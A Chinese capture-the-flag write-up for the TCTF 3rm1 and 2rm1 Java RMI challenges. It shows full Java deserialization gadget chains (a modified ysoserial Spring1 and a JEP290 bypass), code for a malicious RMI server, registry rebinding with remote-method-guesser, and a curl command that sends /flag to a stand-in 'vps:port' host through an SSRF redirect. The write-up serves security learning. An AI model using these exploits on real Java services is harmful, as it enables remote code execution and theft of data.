[TCTF2022]3rm1

攻击 RMI 服务端

居然 nmap 的还能扫·····

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 1099 127.0.0.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 21:40 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0025s latency).

PORT STATE SERVICE VERSION
1099/tcp open java-rmi Java RMI
| rmi-dumpregistry:
| ctf
| implements com.ctf.threermi.UserInter,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @172.19.0.2:38387
| extends
|_ java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds

使用一款很厉害的工具: https://github.com/qtc-de/remote-method-guesser.git 值得好好看看它的文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.3.1-jar-with-dependencies.jar scan 127.0.0.1 --ports 1099 130 ⨯
[+] Scanning 1 Ports on 127.0.0.1 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 127.0.0.1:1099 (Registry, DGC)
[+] [1 / 1] [#############################] 100%
[+]
[+] Portscan finished.

┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099
[+] RMI registry bound names:
[+]
[+] - ctf
[+] --> com.ctf.threermi.UserInter (unknown class)
[+] Endpoint: 172.19.0.2:33385 TLS: no ObjID: [-393e2f3:185cd34f492:-7fff, -350750653032742951]
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable

┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar bind 127.0.0.1 1099 127.0.0.1:1234 my-object --localhost-bypass 1 ⨯
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.

┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099
[+] RMI registry bound names:
[+]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:1234 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - ctf
[+] --> com.ctf.threermi.UserInter (unknown class)
[+] Endpoint: 172.19.0.2:33385 TLS: no ObjID: [-393e2f3:185cd34f492:-7fff, -350750653032742951]

重绑定,这样客户端会连接到我们自定义的服务端去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar rebind 127.0.0.1 1099 127.0.0.1:7777 ctf --localhost-bypass
[+] Rebinding name ctf to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during rebind call.
[+] Rebind operation was probably successful.

┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099 | head -n 11
[+] RMI registry bound names:
[+]
[+] - ctf
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:7777 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

攻击 RMI 客户端

客户端的环境是纯 jdk,题目给的 hint: ysoserial’s spring1 在这里可以用上了

需要做到:spring1 经过修改后,在 jdk8u201 下仍能 RCE,说是打 rmi,最终还是回到找反序列化链上面

spring1

复习一下 method.invoke

1
2
3
// templates.newTransformer();
method = TemplatesImpl.class.getMethod("newTransformer");
method.invoke(templates);

将 ysoserial spring1 拆开来写清楚,其实是这样的一条链子,套了三个动态代理 Proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static Object getObject(final String command) throws Exception {
HashMap hashMap1 = new HashMap();
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);
hashMap1.put("getObject",templates);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = c1.getDeclaredConstructor(Class.class, Map.class);
constructor1.setAccessible(true);
InvocationHandler invocationHandler1 = (InvocationHandler) constructor1.newInstance(Target.class,hashMap1);
ObjectFactory objectFactoryProxy = (ObjectFactory) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{ObjectFactory.class},invocationHandler1);

Class c2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor constructor2 = c2.getDeclaredConstructor(ObjectFactory.class);
constructor2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactoryProxy);
Type typeTemplatesProxy = (Type) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{Templates.class,Type.class},invocationHandler2);

HashMap hashMap2 = new HashMap();
hashMap2.put("getType",typeTemplatesProxy);
Class c3 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor3 = c3.getDeclaredConstructor(Class.class,Map.class);
constructor3.setAccessible(true);
InvocationHandler invocationHandler3 = (InvocationHandler) constructor3.newInstance(Target.class,hashMap2);
Object typeProviderProxy = Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")},invocationHandler3);

Class c4 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor constructor4 = c4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object mitp = constructor4.newInstance(typeProviderProxy,Object.class.getMethod("getClass"),0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}

反序列化调用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static class MethodInvokeTypeProvider implements SerializableTypeWrapper.TypeProvider {
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}
// this.provider=typeTemplatesProxy
// this.methodName="newTransformer"
// 相当于如下的调用
// typeTemplatesProxy.newTransformer(); 过不了编译的
Method method = typeTemplatesProxy.getClass().getMethod("newTransformer");
method.invoke(typeTemplatesProxy);
// 接下来会调用到这个地方,从 getObject() 拿到 templates
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return proxy == args[0];
} else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
} else if (methodName.equals("toString")) {
return this.objectFactory.toString();
} else {
try {
return method.invoke(this.objectFactory.getObject(), args); // method.invoke(templates,null);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
}

spring1 -> 3rm1

题目环境里是没有 springframework 类的,需要找从 3rm1 中所给的类中找替代品

org.springframework.beans.factory.ObjectFactory -> com.ctf.threermi.FactoryInter

这两个类都是接口类,而且都有 getObject

1
2
3
4
5
6
public interface ObjectFactory<T> {
T getObject() throws BeansException;
}
public interface FactoryInter {
Object getObject();
}

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler -> com.ctf.threermi.MyInvocationHandler

都是一样的 method.invoke(xxx.getObject(),args)

1
2
3
4
5
6
7
8
9
10
11
12
13
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
...... return method.invoke(this.objectFactory.getObject(), args); ......
}
}
public class MyInvocationHandler implements InvocationHandler, Serializable {
FactoryInter object;

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(this.object.getObject(), args);
}
}

org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider -> com.ctf.threermi.Gadget

一样的 findMethod 然后 invoke,只是 getType 改成了 getGirlFriend

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MethodInvokeTypeProvider implements SerializableTypeWrapper.TypeProvider {
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}
public class Gadget implements Serializable {
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
......
Method method = findMethod(this.user.getGirlFriend().getClass(), this.mName);
method.invoke(this.user.getGirlFriend(), new Object[0]);
......
}
}

无 spring 链

但是还有一个问题,是 AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object getObject(String command) throws Exception {
HashMap hashMap1 = new HashMap();
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command);
hashMap1.put("getObject",templates);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = c1.getDeclaredConstructor(Class.class, Map.class);
constructor1.setAccessible(true);
InvocationHandler invocationHandler1 = (InvocationHandler) constructor1.newInstance(Target.class,hashMap1);
FactoryInter factoryInter = (FactoryInter) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{FactoryInter.class},invocationHandler1);

Class c2 = Class.forName("com.ctf.threermi.MyInvocationHandler");
Constructor constructor2 = c2.getDeclaredConstructor();
constructor2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance();
Reflections.setFieldValue(invocationHandler2,"object",factoryInter);
Friend typeTemplatesProxy = (Friend) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{Templates.class,Friend.class},invocationHandler2);

HashMap hashMap2 = new HashMap();
hashMap2.put("getGirlFriend",typeTemplatesProxy);
Class c3 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor3 = c3.getDeclaredConstructor(Class.class, Map.class);
constructor3.setAccessible(true);
InvocationHandler invocationHandler3 = (InvocationHandler) constructor3.newInstance(Target.class,hashMap2);
UserInter userInter = (UserInter) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{UserInter.class},invocationHandler3);

Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"mName","newTransformer");
Reflections.setFieldValue(gadget,"user",userInter);
return gadget;
}

AnnotationInvocationHandler 替换

AnnotationInvocationHandler 在 CC 链子中出现过,而在 jdk8u201 这高版本中,被修复了,需要找一个替代

尝试先找出和 AnnotationInvocationHandler 一样继承 InvocationHandler 且 Serializable 类

1
2
3
4
5
6
7
import java

from Class c
where c.getASupertype().hasName("InvocationHandler")
and
c.getASupertype*() instanceof TypeSerializable
select c

居然只找到两个: AnnotationInvocationHandler 和 RemoteObjectInvocationHandler

看了 wp,也是用的 RemoteObjectInvocationHandler 这个类,可是这个类里面的 invoke 如何使用

1
2
3
4
5
6
7
8
9
10
11
12
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
......
return invokeRemoteMethod(proxy, method, args);
}
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception {
......
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException("proxy not Remote instance");
}
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
......
}

ref 是一个远程引用,里面保存着服务端的对象信息。就像我们调用 Registry 的 bind 方法时,绑定的也是远程引用。

its invokeRemoteMethod will initiate a request to remote rmi server and we can control that ref value.

意思是说,我们另外开启一个服务端,让客户端从我们的服务端调用我们自定义的远程方法 getObject 和 getGirlFriend

而要怎么构造出 RemoteObjectInvocationHandler 中的 ref 参数,也是个问题

发布远程类/使用 RemoteObjectInvocationHandler 接受远程类

服务端发布远程类的代码 (FactoryImpl 实现了 FactoryInter 接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class exportObject {
public static void main(String[] args) throws Exception {
int evilServerPort = 7777;
Registry registry = LocateRegistry.createRegistry(evilServerPort);
FactoryImpl factoryImpl = new FactoryImpl();
registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));

System.out.println("start evil server");
}
}
// FactoryImpl
public class FactoryImpl implements FactoryInter {
@Override
public Object getObject() throws Exception {
return Gadgets.createTemplatesImpl("calc");
}
}

客户端接收远程类的代码

1
2
3
4
5
6
7
public class getObject {
public static void main(String[] args) throws Throwable {
FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
TemplatesImpl templates = (TemplatesImpl) factoryInterlook.getObject();
templates.newTransformer(); // 测试远程类是否是有效的
}
}

拼接

实现 FactoryImpl#getObject 返回 TemplatesImpl

1
2
3
4
5
6
7
public class FactoryImpl implements FactoryInter, Remote {
@Override
public Object getObject() throws Exception {
System.out.println("getObject");
return Gadgets.createTemplatesImpl("calc");
}
}

实现 UserImpl#getGirlFriend 返回 friendTemplatesProxy

1
2
3
4
5
6
7
8
9
public class UserImpl implements UserInter {
public Friend getGirlFriend() throws Exception {
FactoryInter factoryInter = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
Reflections.setFieldValue(myInvocationHandler,"object",factoryInter);
Friend friendTemplatesProxy = (Friend) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class[]{Templates.class,Friend.class},myInvocationHandler);
return friendTemplatesProxy;
}
}

最后的 gadget······

1
2
3
4
5
6
7
public static Object getObject(String command) throws Throwable {
UserInter userInter = (UserInter) Naming.lookup("rmi://127.0.0.1:7777/userImpl");
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"mName","newTransformer");
Reflections.setFieldValue(gadget,"user",userInter);
return gadget;
}

开启恶意 RMI 服务器,在客户端反序列化恶意类

注册中心攻击客户端,反序列化这个 Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
LocateRegistry.createRegistry(1099);
Registry registry2 = LocateRegistry.getRegistry(1099);
RemoteWrapper remoteWrapper = new RemoteWrapper();
registry2.bind("remoteObj",remoteWrapper);
System.out.println("bind success! Listen 1099");
......
public class RemoteWrapper implements Remote, Serializable {
private Object evilObj;

public RemoteWrapper() throws Exception {
this.evilObj = getObject();
}
public Object getObject() throws Exception {
UserInter userInter = (UserInter) Naming.lookup("rmi://192.168.43.1:7777/userImpl");
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"mName","newTransformer");
Reflections.setFieldValue(gadget,"user",userInter);
return gadget;
}
}

最后的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Main
{
public static void main(String[] args) throws Exception{
int evilServerPort = 7777;
Registry registry1 = LocateRegistry.createRegistry(evilServerPort);
FactoryImpl factoryImpl = new FactoryImpl();
registry1.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
Thread.sleep(1000);
UserImpl userImpl = new UserImpl();
registry1.bind("userImpl", UnicastRemoteObject.exportObject(userImpl, evilServerPort));
Thread.sleep(1000);
LocateRegistry.createRegistry(1099);
Registry registry2 = LocateRegistry.getRegistry(1099);
Remote userStub = UnicastRemoteObject.exportObject(new UserImpl(), 0);
registry2.bind("ctf", userStub);
RemoteWrapper remoteWrapper = new RemoteWrapper();
registry2.bind("remoteObj",remoteWrapper);
System.out.println("bind success! Listen 1099");
}
}

[TCTF2021]2rm1

全网能找到的 wp 就两篇

flag 在客户端

重定向

1
url=https://l1nyz-tel.cc/redirect.php?redirect=http://rmiclient:8080/hello?name=tel

rmg 可以帮我们生成 gopher 来实现 SSRF,接下来是检测 RMI 客户端、服务端安全性

rmg 扫描

本地搭建环境,把 RMI 客户端、服务端的端口映射出来,在不考虑 spider 的环境下进行测试

尝试 rebind 重绑定 server 无果,enum 扫一下

1
2
3
4
5
6
┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner]
└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable

JEP290 绕过的攻击,使得服务端无限制地向另一个 JRMPLisitener 发送连接,造成 RCE(可以使用 ysoserial 测试一下)

先控制服务端,首先,服务端和客户端都有一个相同的反序列化漏洞,利用代码如下

1
2
3
4
5
6
7
8
9
10
public static Object getObject() throws Exception {
PriorityQueue priorityQueue = new PriorityQueue<>(2);
Gadget gadget = new Gadget();
Comparator comparator = (Comparator) Proxy.newProxyInstance(unser.class.getClassLoader(),new Class[]{Comparator.class},gadget);
Object[] objects = {new String[]{"bash","-c","calc"},new String[]{"ls"}};
Reflections.setFieldValue(priorityQueue,"size",2);
Reflections.setFieldValue(priorityQueue,"queue",objects);
Reflections.setFieldValue(priorityQueue,"comparator",comparator);
return priorityQueue;
}

攻击 server

JEP290 绕过的攻击:

ysoserial JRMPListener 在 7777 挂起 priorityQueue 恶意实例

运行这段脚本绕过 JEP290 攻击服务端,即可实现 服务端 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class UnicastRemoteObjectExploit {
public static void main(String[] args) throws Exception{
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("192.168.43.128", 1099);
exploit(registry,"192.168.43.1",7777);
}

private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception {

UnicastRemoteObject unicastRemoteObject = getObj(host,port);
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);

ObjectOutput var3 = var2.getOutputStream();

Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
f.setAccessible( true );
f.set( var3, false );

var3.writeObject(unicastRemoteObject);
ref.invoke(var2);
}

private static UnicastRemoteObject getObj(String host,int port) throws Exception{
LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler
);

Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class);
RemoteObjectConstructor.setAccessible(true);
Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef));

Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(unicastRemoteObject,rmiServerSocketFactory);
return unicastRemoteObject;
}
}

攻击 client

需要替换掉服务端绑定的 UserImpl

将下面这一段代码打包成 jar,发送到服务端上运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Registry registry = LocateRegistry.getRegistry(1099);
registry.rebind("0ops", UnicastRemoteObject.exportObject(new UserImpl(), 0));

// UserImpl.java
public class UserImpl implements UserInter{

@Override
public String sayHello(String name) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue<>(2);
Gadget gadget = new Gadget();
Comparator comparator = (Comparator) Proxy.newProxyInstance(UserImpl.class.getClassLoader(),new Class[]{Comparator.class},gadget);
Object[] objects = {new String[]{"bash","-c","touch /tmp/tel"},new String[]{"ls"}};
Reflections.setFieldValue(priorityQueue,"size",2);
Reflections.setFieldValue(priorityQueue,"queue",objects);
Reflections.setFieldValue(priorityQueue,"comparator",comparator);
try {
PropertyChangeEvent event = new PropertyChangeEvent("source", "name",
"old", priorityQueue);
throw new PropertyVetoException("mess", event);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

客户端 RCE,通过 spider 的重定向功能,带出 flag: curl http://spider:8080/?url=https://l1nyz-tel.cc/redirect.php?a=http://vps:port/$(cat /flag)

将流量转换成 gopher